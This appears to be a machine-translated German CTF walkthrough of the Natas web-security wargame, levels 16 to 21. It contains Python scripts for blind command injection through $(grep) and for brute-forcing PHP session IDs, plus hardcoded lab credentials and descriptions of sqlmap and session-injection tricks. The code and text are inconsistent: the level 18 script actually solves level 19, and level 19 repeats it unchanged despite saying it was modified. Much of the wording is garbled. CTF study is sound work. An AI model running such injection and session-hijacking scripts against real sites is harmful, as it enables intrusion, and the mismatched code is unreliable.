Natas Web. Passage der CTF-Plattform zur Ausnutzung von Web-Schwachstellen. Teil 3

Bild

In diesem Artikel werden wir uns am Beispiel des Natas- Kriegsspiels mit der Funktionsweise einiger WEB-Identitäten befassen. Jede Ebene hat Zugriff auf das Passwort der nächsten Ebene. Alle Passwörter werden auch in den Dateien / etc / natas_webpass / gespeichert. Beispielsweise wird das Kennwort für natas5 in der Datei / etc / natas_webpass / natas5 gespeichert und ist für die Benutzer natas4 und natas5 schreibgeschützt.

Vergangene Teile: Teil 1 und Teil 2 .

Organisationsinformationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit entwickeln möchten, werde ich über die folgenden Kategorien schreiben und sprechen:

  • PWN;
  • Kryptographie (Krypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Kanal und eine Gruppe eingerichtet, um alle Probleme im Bereich ICD zu diskutieren . Außerdem werde ich Ihre persönlichen Anfragen, Fragen, Vorschläge und Empfehlungen persönlich prüfen und alle beantworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die durch das Studium dieses Dokuments erworben wurden.

Level 16


Nach dem Quellcode zu urteilen, werden alle Dienstzeichen gefiltert, und die Übertragung von "Kleben" aus zwei Dateien ist unmöglich, da die Zeichenfolge in Anführungszeichen übertragen wird.

Bild

Mit Konstruktionen wie $ (cmd) können Sie die Ausgabe von "key" steuern.

Bild

Die Idee ist folgende:
  1. Wenn sich grep -i "key" file.txt in der Konstruktion befindet, key eine leere Zeichenfolge ist, wird die gesamte Datei angezeigt.
  2. Da die Datei nur eine Zeile mit dem Kennwort enthält, können wir deren Ausgabe steuern.
  3. Wenn Sie den regulären Ausdruck an grep innerhalb des Konstrukts $ (cmd) übergeben, geben Sie entweder eine Zeile mit einem Kennwort (wenn wir den Anfang des Kennworts erraten) im Parameter -i aus, und es werden keine Zeilen aus dictionary.txt oder anstelle einer Zeile mit ausgegeben Das Passwort ist eine leere Zeichenfolge und die gesamte Datei dictionary.txt wird angezeigt.

import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd) 

Bild

Ich habe ein Passwort.

Stufe 17


Wir verwenden sqlmap gemäß dem vorherigen Szenario (aus dem zweiten Teil).

Bild

Bild

Bild

Es gibt ein Passwort.

Stufe 18


Lassen Sie uns den Quellcode analysieren.

Bild

Der erste Schritt besteht darin, zu überprüfen, ob im Browser Cookies gesetzt sind (Funktion my_session_start ()).

Bild

Da es in der Aufgabe nichts gibt, um Cookies zu steuern, müssen diese gesetzt werden, dh die Funktion gibt false zurück und im Stammcode gehen wir zum Zweig else. Überprüfen Sie das Ausfüllen der Felder für Benutzername und Passwort. Die Funktion session_id () verwendet eine Zufallszahl im Bereich von 1 bis 640 (was sehr seltsam ist, warum eine solche Einschränkung vorliegt) und erstellt Konfigurationen für die Funktion session_start ().

Bild

Bild

Als nächstes wird der Benutzername == "admin" überprüft. Wenn wir uns als Administrator angemeldet haben, werden wir darüber informiert und erhalten ein Passwort für die nächste Stufe.

Bild

Lösungsidee: Der ID-Bereich ist für Benutzer definiert. Wir schreiben eine Brute-Force-Datei, die auf die Seite mit einer ID im Bereich von 1 bis 640 wechselt.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

Bild

Wir bekommen das Passwort mit id = 119.

Stufe 19


Da der Code derselbe ist, ist die Idee dieselbe. Mal sehen, der Keks.

Bild

Hex-codierte Zeichenfolge. Wir werden entschlüsseln.

Bild

Es bleibt nur, um den Code zu ändern.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 


Bild

Es gibt ein Passwort.

Level 20


Nach der Analyse des Quellcodes können wir davon ausgehen, dass zwei Funktionen Beachtung verdienen.

Die Funktion mywrite () schreibt Daten in jede Zeile als key_value. Der Schlüssel wird jedoch zufällig ausgewählt und der Wert aus dem Eingabefeld übertragen.

Bild

Die Funktion myread () durchläuft alle Zeilen und liest durch Leerzeichen getrennte Daten (Schlüssel und Wert).

Bild

Das Passwort wird nur angezeigt, wenn in einer solchen Datei die Zeile "admin 1" angezeigt wird. Tatsache ist, dass wir die Anwendungslogik umgehen und so viele Zeilen aufschreiben können, wie wir möchten. Dazu müssen wir eine Zeile der Form "Value0_TranslationStrings_Key1_Value1 usw." senden.

Bild

Nachdem der Wert in die Datei geschrieben wurde, laden wir die Seite neu, damit sie aus der Datei gelesen wird.

Bild

Wir nehmen das Passwort weg.

Stufe 21


Wir erhalten zwei Versionen der Website. Tatsache ist, dass Cookies und Sitzungen für die Übertragung zwischen verschiedenen Seiten derselben Domain verfügbar sind. Wir untersuchen den Quellcode der zweiten Site. Alle akzeptierten Parameter werden in der Sitzung festgelegt. In Analogie zu früheren Levels sollten Sie admin => 1 setzen.

Bild

Fügen Sie einfach einen neuen Admin-Parameter mit dem Wert 1 hinzu, laden Sie die Seite neu und setzen Sie diese Cookies auf die Hauptseite.

Bild

Bild

Wir nehmen das Passwort weg.

Fortsetzung folgt. Sie können sich uns per Telegramm anschließen .

Source: https://habr.com/ru/post/de464729/


All Articles